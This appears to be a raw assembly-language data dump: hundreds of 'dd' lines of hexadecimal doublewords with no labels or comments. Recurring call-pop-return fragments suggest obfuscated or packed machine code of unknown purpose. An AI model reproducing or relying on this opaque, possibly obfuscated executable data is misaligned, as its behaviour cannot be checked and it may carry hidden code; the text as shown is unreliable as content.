		dd 0B9585682h, 2D944779h, 7DBBFB96h, 7FC1FD9Fh,	94C40099h
		dd 7BBDF996h, 64EBD1C6h, 49F489E1h, 0E7C8591Dh,	0ADCAAFABh
		dd 0DB272E0Eh, 0DA8CF355h, 0E1D60440h, 8656E1F6h, 0F43203AFh
		dd 7E543E4Ah, 0DAD75B6Ch, 0DF7CE864h, 0A790D0A5h, 3606D1D0h
		dd 2F686C0Eh, 0BD5B4BC4h, 90644181h, 3014ACC9h,	5FD7C9AEh
		dd 9A56451Ch, 1923939h,	650FCB75h, 2BCCD210h, 0AEBF1EFh
		dd 5A9894CEh, 35F5C501h, 0F91CAC93h, 176A3606h,	8F4F9611h
		dd 907E5DECh, 0B186B4F4h, 478C69EFh, 114F2868h,	3219FB74h
		dd 97020139h, 5B3C22DEh, 5F39231Fh, 4323AC23h, 9502464h
		dd 6E020139h, 2E051709h, 0AF2B0AA3h, 0A06EA989h, 6EECAC05h
		dd 85635591h, 0C56E6CA8h, 13h, 61B131B3h, 12C656FDh, 0C496CAF1h
		dd 0ACC26016h, 0C8B6C2ECh, 0B4BAA8E8h, 0C1AB97D3h, 0B0AEACE8h
		dd 0C6A892CEh, 0ADAFABEBh, 0C6A892D2h, 0ACB2B0ECh, 4C5290D0h
		dd 917171B1h, 81E38953h, 4C3h, 4BD5500h, 29000000h, 1C875DEBh
		dd 89535C24h, 4C381E3h,	81000000h, 4EBh, 241C8700h, 2404895Ch
		dd 81E18951h, 4C1h, 4E98100h, 87000000h, 895C240Ch, 6856240Ch
		dd 2A9C295Dh, 7EBB535Eh, 296F840Bh, 814E5BDEh, 0C436A5F6h
		dd 5EF089BCh, 8904EC83h, 4812424h, 424h, 0EC835900h, 24048904h
		dd 0FF08418Fh, 83592434h, 34FF04C4h, 0C4815824h, 4, 0F99643E9h
		dd 0AE47FFFFh, 2F567EF4h, 54A55A76h, 0B8D05BC9h, 7DC3B87h
		dd 0E0FFC503h, 208D92D3h, 5BAE4193h, 17105644h,	75E9h
		dd 8C666000h, 0F04A8D8h, 3584h,	0FF016A00h, 0D30165B5h
		dd 6A858D07h, 0FF07DC03h, 1D8589D0h, 8B07D331h,	0CEFC1FEh
		dd 4000068h, 6A006A20h,	0D685702h, 0FF000100h, 0D3311D95h
		dd 32E907h, 85C60000h, 7D318D1h, 30DF6856h, 0B5FFA9C5h
		dd 7D30DF1h, 36A858Dh, 0D0FF07DCh, 7718589h, 858D07D3h
		dd 7D30E39h, 6A206A50h,	95FF5605h, 7D30771h, 0E0C1C361h
		dd 8F4FEB06h, 0ABFA251Ch, 0DAC6A108h, 0D41CA4ACh, 0E45C5CD2h
		dd 3134CE00h, 27CE1BF5h, 34D129B3h, 2AC7DD5Bh, 1BCE17E6h
		dd 0DB6734DFh, 66F000A6h, 0BA9F0019h, 0DC80h, 1B540000h
		dd 0FEDEh, 0FBFE5Eh, 0B4870000h, 202352DDh, 9E019ED9h
		dd 9AE97C80h, 29000011h, 0D325B1B5h, 1950107h, 8307D30Bh
		dd 0D33255BDh, 850F0007h, 1Dh, 8E9h, 6EE17700h,	28F0D157h
		dd 0B883h, 0C88B0000h, 810004C2h, 80049CCAh, 6AC08B45h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 19042444h
		dd 47000000h, 4874C357h, 3A10D22h, 34C5BD33h, 0BD8307D3h
		dd 7D313B1h, 83097500h,	0D3273DBDh, 13740007h, 0C08B5350h
		dd 4D0B8h, 0DD9D8D00h, 0FF07DB25h, 83585BD3h, 0D3273DBDh
		dd 11740007h, 0D0B85350h, 8D000004h, 0DB252A9Dh, 5BD3FF07h
		dd 52006A58h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1A04h
		dd 0C3524200h, 9748AF71h, 0F8531A0h, 68Dh, 0EDD28100h
		dd 66748EF2h, 52EAE781h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 0B2EC55C3h, 0D80670B1h
		dd 0EA8160ADh, 63F326FDh, 0F5858D61h, 0F07DC3Ch, 68Fh
		dd 659D8900h, 5007D300h, 4893EB1h, 0DE824h, 39C30000h
		dd 147EC2D1h, 9921E551h, 66CA5D7Ch, 593541BFh, 1C19958Bh
		dd 858D07D3h, 7DC3CB2h,	0B060F38Ah, 85B58949h, 6107D301h
		dd 89CF8B50h, 0B5312404h, 7D300E1h, 0CB195FFh, 8B6607D3h
		dd 24448BCBh, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 810D02ADh, 0B529BF4Fh, 7D31A19h
		dd 3CDD8589h, 6A07DCh, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 150424h, 51410000h, 66FBB5C3h, 58EAC181h, 0FE8B6660h
		dd 8B61D68Bh, 0E8082444h, 6, 56F6D50Ah,	0F88B4BF7h, 0F1858959h
		dd 8B07DC3Ch, 0D31A7D95h, 0BDBD0107h, 8307D31Eh, 0D323F1BDh
		dd 850F0007h, 0AAh, 0DE8h, 0A4840F00h, 449DD6CFh, 3005241Bh
		dd 0EF81F2E3h, 580A5D93h, 8E85Ah, 0EB200000h, 7ED2E721h
		dd 9D89A9A4h, 7D32131h,	0D185C65Fh, 4707D318h, 288268F8h
		dd 481573Bh, 5F7F5024h,	0B98D8B7Dh, 0FF07D309h,	0D30DF1B5h
		dd 51958907h, 6007D32Ah, 1571BD01h, 816607D3h, 61B283C6h
		dd 36A858Dh, 870F07DCh,	6, 2BA58D8Bh, 0D0FF07D3h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0B9C35141h, 0D8FBDFF5h
		dd 79240F08h, 1CED9D89h, 858907D3h, 7D323F1h, 0C519589h
		dd 0BD8307D3h, 7D32FB9h, 2B850F00h, 0F000001h, 488h, 0C9BF6600h
		dd 0D185C695h, 4707D318h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 9C35747h, 3E3A4A3Ch, 66AC9664h, 8A0FF98Bh
		dd 0Ch,	6890Fh,	0BD8B0000h, 7D303A9h, 6488FE68h, 81F08AFAh
		dd 3D1C2434h, 0D580706Bh, 0F1B5FFEFh, 6A07D30Dh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0D2C8C357h, 2910D709h, 0A9B4686Ah, 268D8D33h, 858D07D3h
		dd 7DC036Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	6EC35747h, 3682561Bh, 0C28153EFh, 7164368Bh, 6E85Fh
		dd 46980000h, 6C39F45Fh, 0ACDBD8Bh, 0FF5A07D3h,	56006AD0h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 7D2298EDh, 5860Fh, 0E5B90000h, 0B3EBA36h, 0D306818Dh
		dd 0B9858907h, 6A07D32Fh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 0F69C351h, 483h, 0F5BA6600h
		dd 0BD83F579h, 7D32B45h, 31850F00h, 89000001h, 0D31861BDh
		dd 518D8B07h, 0C607D325h, 0D318D185h, 6A5607h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 0B516EDC3h, 317E4D3Eh, 0D32BA585h, 4E807h, 6D390000h
		dd 8B57D41Fh, 8B5059D7h, 24448BD7h, 60525004h, 8B666160h
		dd 310F61F1h, 0CE8h, 0A4FDC000h, 164D46A6h, 700C6AD5h
		dd 0F98B66EBh, 8B585A5Ah, 14E85600h, 0EE000000h, 9304B7Bh
		dd 5DC7485h, 2CB156B8h,	25C0DF14h, 8A136690h, 895F5AF7h
		dd 0BA042444h, 28B1B531h, 0ED8D8B58h, 0FF07D320h, 0D30DF1B5h
		dd 52006A07h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 7E67D461h, 0A84729E7h, 0BE9h, 0C0F6000h
		dd 7E97A667h, 0C58B8697h, 36A858Dh, 0FE8B07DCh,	0BD33D0FFh
		dd 7D313ADh, 5D99529h, 858907D3h, 7D32B45h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 10C35141h, 0D2CE4960h
		dd 5536C81Fh, 19F18D89h, 7E807D3h, 8E000000h, 7A21545Dh
		dd 0B70F4E3Ah, 5A505AD7h, 18D185C6h, 6A6C07D3h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 46ABC351h, 0BD8D8938h, 6607D331h, 0D678C981h, 9250BE68h
		dd 23BF6674h, 24048193h, 66731FC5h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 15h, 7FC35040h, 0F18D8B14h, 0FF07D305h
		dd 0D30165B5h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 0CB6229D8h, 0F5F0CFEEh
		dd 3A37858Dh, 53B507D3h, 6AD0FFh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 6D31DC3h, 8A46DD89h
		dd 0B419D29h, 896007D3h, 0D3011D8Dh, 0EE907h, 12F60000h
		dd 57428EC1h, 0D477E055h, 76ED1ADh, 0E1858961h,	6A07DC3Ch
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1B042444h
		dd 40000000h, 0C094C350h
		dd 0D67A1580h, 0B52937D2h, 7D3039Dh, 3CFDBD83h,	0F0007DCh
		dd 10485h, 29BD8B00h, 0C607D312h, 0D318D185h, 8D8B4907h
		dd 7D3098Dh, 4E8h, 1529E900h, 55BF668Ch, 62B9501Fh, 8B27CED7h
		dd 66042444h, 8BBAD6BAh, 0EE900h, 85D00000h, 59051F45h
		dd 310C6187h, 0B4410B59h, 4244489h, 0B9665250h,	310F2E3Bh
		dd 992681B9h, 58585A6Fh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 19h, 0DDC35040h, 0DE8E253Eh, 0A1B96612h, 0E5BB607Ch
		dd 8B73244Dh, 0D30EC9B5h, 0B5FF6107h, 7D30165h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 12C35040h, 0DD9D8960h
		dd 0E807D30Ah, 11h, 0EFA9FC64h,	52338349h, 4096D0C4h, 363580A0h
		dd 6159F8B8h, 1C29BD01h, 858D07D3h, 7D33A37h, 0FFF88B66h
		dd 16810FD0h, 0E8000000h, 0Ah, 781C4BB7h, 0CE1F288Ch, 8D319FC8h
		dd 7D32641h, 0FD858959h, 8107DC3Ch, 4BB0F6E9h, 31046A3Ch
		dd 0D32A1995h, 3B6F6807h, 14E9A05Fh, 3F000000h,	6BF9F3E3h
		dd 0D35F3BFAh, 1CD0EAC8h, 97E1DECFh, 81F91A13h,	0D4912404h
		dd 6A5FA0h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 79B0F9C3h, 0C112F6C9h, 0B268428Eh, 0B62D86A0h
		dd 243481FAh, 2D87A0B2h, 293D958Bh, 816607D3h, 6A5AE7DFh
		dd 95FFFC00h, 7D32A4Dh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 1DC35545h, 8589108Fh,	7DC3CEDh, 1B98D8Bh
		dd 85C707D3h, 7DC3CE5h,	0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 40C35141h
		dd 0E9116BCEh, 0B5958Bh, 0B70F07D3h, 6A006AF9h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 18042444h, 46000000h
		dd 33F7C356h, 89BFEBA6h, 0D3149185h, 4E807h, 0
		dd 0A5B90001h, 5012A36Ah, 0BE960h, 31D0000h, 9FB8E4F6h
		dd 0D95596AFh, 0D78B6661h, 24448B61h, 89008B04h, 0BF042444h
		dd 9D0D1DDh, 53006A58h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 898C07CCh, 0D32719B5h, 0BA669007h
		dd 0E850B018h, 11h, 0C7C5DB0Dh,	0FD09D8E2h, 514F53F3h
		dd 0B986B5EEh, 8B66576Fh, 905F5AF8h, 0CE8h, 5C01CA00h
		dd 638D0D56h, 29A1F30Bh, 6E889h, 47C00000h, 0FC93AB49h
		dd 171C0B9h, 6A595979h,	0F9B70F0Bh, 3CBA858Dh, 6A07DCh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 0E91632C3h, 12h, 29596F10h, 0B3192051h, 0B6ECD9D6h
		dd 5007F0h, 8B504F32h, 240489D7h, 187DBD01h, 95FF07D3h
		dd 7D323F1h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	2CC35747h, 5665C78Eh, 0D2B70F64h, 5D958Bh, 0B58D07D3h
		dd 7DC3CC4h, 24599589h,	669607D3h, 0B250D38Bh, 6A967Eh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 8FB9E6C3h, 0BF50FB7Ch, 1FE6C2CEh, 6A240489h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 0B6FFC350h, 66D03891h, 95FFD08Bh, 7D32FB9h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 37C35545h, 0C00BA715h
		dd 0E850Fh, 0E1810000h,	2ACD6977h, 5FFE9h, 0FE8B6600h
		dd 9D89D0FFh, 7D31CA1h,	3CEDB58Bh, 6A07DCh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 5AD88DC3h
		dd 2049958Bh, 958907D3h, 7D32679h, 0E820468Dh, 0Eh, 6BE22074h
		dd 472F6DD5h, 5640BC1Eh, 0BD8B9449h, 7D315E9h, 6A49B15Fh
		dd 2EBF6604h, 0E95090D4h, 11h, 2CC835AAh, 72F9F8FDh, 0EB100975h
		dd 84C5C671h, 95FF909Ah, 7DC3CFDh, 2619958Bh, 0C00B07D3h
		dd 26840Fh, 95890000h, 7D318A5h, 567E9h, 13E800h, 9A3A0000h
		dd 1A8DC29h, 1A03E192h,	554051C9h, 0F9DC28A3h, 59EF8A8Eh
		dd 207E80h, 542840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 0F28DCC3h, 0B85h, 58B0F00h
		dd 66000000h, 351EC781h, 15DD8D23h, 0F6007D3h, 48Dh, 0FA8B5100h
		dd 20468D5Fh, 51B58960h, 0F07D30Bh, 684h, 830F00h, 61000000h
		dd 3CE98589h, 6A07DCh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0FF2C3C3h, 9501CABFh, 7D32115h
		dd 0FDE9h, 9F8B600h, 0D30979B5h, 6A4007h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0E902B1C3h
		dd 206D958Bh, 8B5007D3h, 240489F9h, 1CF9B966h, 6A046Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 0CE9FAC3h, 0AA000000h, 0C96AC05Eh, 0A06FA101h, 0E9003319h
		dd 13h,	9E573523h, 0C81AE002h, 2713922Bh, 58B2FD6Eh, 90D22686h
		dd 90CE8B50h, 0FFFB8B66h, 0DC3CFD95h, 19BD8907h, 8B07D331h
		dd 50006AD8h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1404h
		dd 0C3504000h, 0ABDF8152h, 584836C7h, 0D3AE7ABFh, 0FDB0B4Bh
		dd 3984h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 8595293Ch, 2B07D324h, 0D30205BDh
		dd 3CAE907h, 7E90000h, 7C000000h, 625C8DDCh, 38804EC0h
		dd 2850F00h, 6AFFFFFFh,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0CD67C353h,	2EE697DEh
		dd 114D2336h, 8BFEB70Fh, 0D32361BDh, 26E907h, 13E80000h
		dd 0FD000000h, 64333D02h, 0E99F6235h, 0EBA7DF11h, 532F796Eh
		dd 0B509E84Bh, 7D30889h, 9D01485Ah, 7D30F3Dh, 3CE9853Bh
		dd 820F07DCh, 3Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 46C35343h, 801D651Ch,	805A1688h, 840F5C38h
		dd 10h,	0BD4AB966h, 0F2F3880h, 0FFFFB485h, 0E1C580FFh
		dd 0F2816640h, 0BD83C20Dh, 7DC3CF1h, 3F840F00h,	0F000001h
		dd 680h, 79BD8900h, 9007D31Ch, 0BE9h, 6DBD9A00h, 811DAC47h
		dd 92AFDBFFh, 0DA64BA50h, 6A9033ECh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 195C351h
		dd 0F18166F5h, 8503E083h, 7DC3CF1h, 2ACC981h, 0B5907FF2h
		dd 506050FEh, 418DBB52h, 310F5653h, 0B866585Ah,	90613AE3h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0D4C35545h
		dd 0F303C862h, 4F334E99h, 0ACEABA66h, 6A046Ah, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 8D8BB9C3h, 7D30659h,	0ACB96650h, 2404897Fh, 0FD95FFF5h
		dd 6A07DC3Ch, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 595CC357h, 0D1BD7608h,	291C861Eh
		dd 0D3143D85h, 8BD88B07h, 0BD0158CAh, 7D316CDh,	840FDB0Bh
		dd 37h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch
		dd 0EDC35747h, 2BD2E2F1h, 1050777Ch, 325B529h, 18B607D3h
		dd 1CFE9h, 49952B00h, 0C607D31Ah, 0BF0F0000h, 505058FEh
		dd 8B525052h, 50310FCFh, 0F585A59h, 89585A31h, 81662404h
		dd 6A6AC2D2h, 7E91Eh, 25280000h, 69E46D48h, 6985012Eh
		dd 5007D30Ch, 0D67FB966h, 6A240489h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 28E7C353h
		dd 95FF3010h, 7DC3CFDh,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 92C35242h, 70C0A4A7h,	837D637Fh, 0DF816647h
		dd 9D291EE6h, 7D302E9h,	8BFABF0Fh, 53006AD8h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0F99435CEh
		dd 91B96658h, 0FDB0B7Ch, 5184h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 1CC24FEEh
		dd 82FC2741h, 47B93C54h, 0E9443644h, 0D8h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 7CC35545h, 0BA66D030h
		dd 665079F1h, 489FE8Bh,	95858924h, 0FF07D32Eh, 0DC3CDDB5h
		dd 81665707h, 5FC664F2h, 3CE195FFh, 870F07DCh, 0Ah, 4890Fh
		dd 0B9660000h, 0C00B297Ch, 64850Fh, 0BD8B0000h,	7D3061Dh
		dd 13E861h, 49B0000h, 9E067F6h,	51F573D5h, 0C07F17D4h
		dd 0BED3F585h, 96B96692h, 85C75AB5h, 7DC3CE5h, 1, 0E9D0B70Fh
		dd 48h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah
		dd 0E3C35545h, 0DEA71C28h, 7E92C49h, 24000000h,	0D4B3D712h
		dd 0F61A579h, 0C681D1BFh, 11Ch,	0BAC096BFh, 0FA42E952h
		dd 0E781FFFFh, 7614AB13h, 0D59FEE68h, 2404819Bh, 642AE012h
		dd 6A006AFCh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 16042444h, 45000000h, 5D08C355h, 0BE97Eh, 0ED4B0000h
		dd 2EFC7306h, 36129DECh, 0EDB5FF7Fh, 6A07DC3Ch,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h
		dd 42000000h, 54DC352h,	59DC088Fh, 4595FFF5h, 5307D32Bh
		dd 1CFD9D01h, 8B5A07D3h, 0DC3CE585h, 51006A07h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 0C4576B54h
		dd 19E4DD47h, 3D858B60h, 8907D307h, 0D319A985h,	89506107h
		dd 5A512404h, 3CF5858Dh, 8B6007DCh, 0D320E9B5h,	0BE807h
		dd 0FD5C0000h, 6682A628h, 0D987C1BDh, 5FC6B243h, 4895061h
		dd 0DDBD8924h, 8D07D30Dh, 0DC3CB285h, 50006A07h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 0E7311246h, 0CA8B5090h, 0BF66505Ah, 0F5904892h, 1A195FFh
		dd 0BD0307D3h, 7D3295Dh, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 0E894F6C3h, 0Dh, 19F2AC26h
		dd 0BF58317Dh, 6A096F0h, 0DB38B988h, 835A4E08h,	0D313B1BDh
		dd 9750007h, 273DBD83h,	740007D3h, 8B535013h, 4D0B8C0h
		dd 9D8D0000h, 7DB2644h,	585BD3FFh, 273DBD83h, 740007D3h
		dd 0B8535011h, 4D0h, 25439D8Dh,	0D3FF07DBh, 89F5585Bh
		dd 0D30E2D8Dh, 8BD38B07h, 55006AC0h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1904h,	0C3554500h, 4D4106Ch, 958BF999h
		dd 7D3258Dh, 91BA6658h,	0DD852951h, 0C207D325h,	66570008h
		dd 0AB53D281h, 57C08B59h, 8D5AFB8Bh, 0DC3D1285h, 89FB8B07h
		dd 0D31C5585h, 39EB07h,	0CC00B900h, 0E400B902h,	0B902h
		dd 88000000h, 39457FC2h, 567466CEh, 0E82077C6h,	0A24D7CC2h
		dd 8B4C7685h, 0B7745CABh, 0B7205EE7h, 99505DDFh, 0C4846C5h
		dd 3F4473CEh, 16E099CBh, 1C10BB26h, 569D91ACh, 0F327C1B8h
		dd 44A31BDEh, 0FBF33596h, 2E3966ABh, 87E099F8h,	9F201612h
		dd 0D7259722h, 7AAD1578h, 0F4FB3AA2h, 0A17BC154h, 0DB1DAF28h
		dd 0A201578h, 877342BCh, 9F201612h, 0D7259722h,	7AAD1578h
		dd 0F4FB3653h, 0A17BC154h, 147112C1h, 7E2012A8h, 66E34B8Bh
		dd 9B045E22h, 0CB04562Ah, 0E72012BCh, 0C9E343EAh, 72227800h
		dd 2F048F1Eh, 0F5E099ACh, 0EEA5D47Bh, 0C927C1B3h, 4BCB814h
		dd 8FF098B4h, 79DE23D3h, 2304162Ah, 9631B82Dh, 7DC844ABh
		dd 1F2012ABh, 167ED1F5h, 4E2436DFh, 0FB2436EFh,	0B52012ABh
		dd 4893D1FDh, 3A327CCh,	0F5A28806h, 0EC00771Eh,	6E95EDACh
		dd 9927C1A6h, 66B59BCBh, 1B27C1A3h, 0F92012A6h,	0CBECEEF2h
		dd 0F34BE890h, 6E4DDD2Ah, 0C0414DD7h, 0CC4A9726h, 6AAB1577h
		dd 0F4F30982h, 0A7D799FDh, 0D891C254h, 7E4A16C1h, 3F23FAFEh
		dd 0C20012ABh, 0A3A94F68h, 0A3A1168Fh, 0F33B168Fh, 0AC6512ABh
		dd 645A9D68h, 5998CEF2h, 5C947AD6h, 259A301Bh, 4E321B79h
		dd 9494369Fh, 0E1C9301Bh, 522012ABh, 9B9FB7ACh,	73B137C8h
		dd 3D2012A5h, 6BE5E4C9h, 0E1107A04h, 652F5A39h,	0F32012AEh
		dd 17700014h, 0D81493D6h, 36B23E77h, 1A8D9F80h,	9F4A1578h
		dd 0CD25979Ah, 37DF1578h, 76A9731Ah, 0FEFC5C1Dh, 9D799CDh
		dd 0B225EA20h, 0B62012A9h, 436EA82Eh, 0D7E091ACh, 0A99E9722h
		dd 33131577h, 0F922FE12h, 968AE1ABh, 7DC844ABh,	1F2012ABh
		dd 167ED1F5h, 4E2436DFh, 0FE2436EFh, 0B52012ABh, 7201D1FDh
		dd 67DAD995h, 7E2596A4h, 0BE4612ABh, 0F531C641h, 0CCC847ABh
		dd 0C72012ABh, 7A7DD1F6h, 782436C7h, 0E92436EFh, 3B2012ABh
		dd 6EC9D1FEh, 87F1976Dh, 0A9631578h, 849EDC2Ah,	0F3201643h
		dd 9E4B4CABh, 0AC404037h, 24111DF9h, 6F7F73F3h,	132DABCDh
		dd 0CB045620h, 6CD299CDh, 4D4672ABh, 704102B6h,	772436EFh
		dd 7E4A4A5Ah, 3F23FAFEh, 0C20012ABh, 0A3A94F68h, 0A3A1168Fh
		dd 0F339168Fh, 0AC6512ABh, 5DB63168h, 0C7A6E6DDh, 6C2D13B3h
		dd 92D1A754h, 7AAB1578h, 0E0F30B92h, 0F04A9726h, 0F94A1577h
		dd 0FC23FAFBh, 260012ABh, 7BA94A68h, 0DBA1168Fh, 0CF34168Fh
		dd 0B76012ABh, 0C076AD68h, 2A2A3316h, 2CDF4BACh, 7D9D8720h
		dd 0BAA91578h, 98F3362Ah, 277012C1h, 0E72012A8h, 0ABE34A8Bh
		dd 0FD045622h, 0F804562Ah, 7E2012BFh, 5AE342EBh, 1249CF2Bh
		dd 1C0C032Eh, 0B72078ACh, 0F3201143h, 3A7832ABh, 0D8649BF3h
		dd 5A6493AFh, 3F2004AFh, 5C7052ABh, 46817349h, 3421E726h
		dd 0BEA59BACh, 0F627C184h, 0FC201624h, 5D9974ABh, 0EEA5D43Fh
		dd 0CC27C1B3h, 0A7EFADA4h, 0C634197h, 98CBD914h, 0DD1493BCh
		dd 0EBD2094Fh, 967212C1h, 3F2012A8h, 0C5E3488Bh, 0CB044622h
		dd 0E304562Ah, 0F32012B0h, 13E340E9h, 65B7A5DAh, 0F57FFF71h
		dd 0EC226B16h, 0F99F74ACh, 3E95ED33h, 6C27C1A6h, 2023AF26h
		dd 93A59FACh, 4227CEA8h, 4BEBEFC1h, 3F4AC254h, 9F23FAF8h
		dd 940012ABh, 0BBA94968h, 0B7A1168Fh, 0F93D168Fh, 0AF6312ABh
		dd 0E745F268h, 576AE813h, 1625773Fh, 1C100B2Eh,	0ECAF1DACh
		dd 0FC2012ABh, 0F9201722h, 3DA174ABh, 0F42FCD3Ah, 3F2012A3h
		dd 9F229FA4h, 1CAB12ABh, 0FFF1976Dh, 79731578h,	0CB6F7A58h
		dd 0AE70C80Dh, 0CFEF1914h, 30111D8Ah, 9F201223h, 4E7848ABh
		dd 11DC369Fh, 46AB1015h, 0FEF31AE6h, 0F1D1A754h, 76C81578h
		dd 0E2012ABh, 0D11D8D7Dh, 4489B0E4h, 34334726h,	76AD4BACh
		dd 0FEFC11C1h, 147612C1h, 7E2012A8h, 61E34C8Bh,	9B046622h
		dd 0CB04562Ah, 0E72012B0h, 0E1E344EDh, 94D7AAA7h, 4E9F03E2h
		dd 14F0ED90h, 3CC843ABh, 0BF2012ABh, 4679D1F2h,	662436E7h
		dd 0EB2436EFh, 0B82012ABh, 0F852D1FAh, 71453704h, 3F20142Fh
		dd 6EAD11ABh, 2727C19Ah, 0E72012A2h, 5B38E763h,	0EAEEAAE6h
		dd 919974E8h, 0FBA94B43h, 38F33752h, 9F269DA4h,	42A912ABh
		dd 0E0F33D86h, 0EBF1976Dh, 11671578h, 0FC2012B8h, 0D1423731h
		dd 481DCC98h, 65B965A0h, 2627CD9Ah, 5E2F2BC2h, 0D4608CC6h
		dd 0F933FBF2h, 7ACA12ABh, 18C5168Bh, 57569FB5h,	0A4ABDE9Bh
		dd 0DA316D45h, 58D37A7Ah, 9540BAA8h, 0F3C9E920h, 2B2012ABh
		dd 0E8690A97h, 723CBC14h, 0ABA1732Fh, 1242488Fh, 0B12078B4h
		dd 0F3201143h, 3A7E32ABh, 0D8549BF5h, 5A6493AFh, 3F200AAFh
		dd 5C7654ABh, 0C5A09DA6h, 0E72BFBC5h, 52EC12ABh, 0E98B8AE7h
		dd 0C72AD576h, 0C39599E4h, 0C027C187h, 4C2DE31Eh, 0CF2BFBACh
		dd 1CA512ABh, 469B1BC5h, 60DF5D6Ah, 96A59F59h, 1427CEA8h
		dd 3CC843ABh, 0BF2012ABh, 4679D1F2h, 662436E7h,	0E52436EFh
		dd 0B82012ABh, 0E2D3D1FAh, 71F0ED1Bh, 2DC9ED1Ch, 0C52012ABh
		dd 0E485E9C1h, 1D13B92h, 28344A7Bh, 95D4F649h, 0D1A59BDAh
		dd 1427C1AAh, 3CC842ABh, 0BF2012ABh, 4678D1F3h,	662436EFh
		dd 0E82436EFh, 0B92012ABh, 31B7D1FBh, 0B1E32425h, 0BAE60B54h
		dd 98F30A7Ah, 0CF33FBECh, 40CB12ABh, 316C310Ch,	0B8F9E7C0h
		dd 4F7148D1h, 0A1F4CB85h, 0AF907A2Bh, 1446998Ch, 0EB149352h
		dd 0EDDB9261h, 1B7512C1h, 0F92012A8h, 0A1E34F8Bh, 7A047E22h
		dd 3B04562Ah, 9F2012B3h, 0B5E347EEh, 0DDBBE63Ah, 0DDDDA722h
		dd 64A91578h, 0FBF31FA6h, 73D1A754h, 3F4A1578h,	9F23FAFEh
		dd 920012ABh, 8BA94F68h, 0B7A1168Fh, 0F93A168Fh, 0A96512ABh
		dd 7E3C6168h, 0B9DB0FA5h, 32951BFDh, 9027C1B5h,	6AEEA5A4h
		dd 2F23782Eh, 70F0EDACh, 2F03FF16h, 77A59BACh, 8627C1B4h
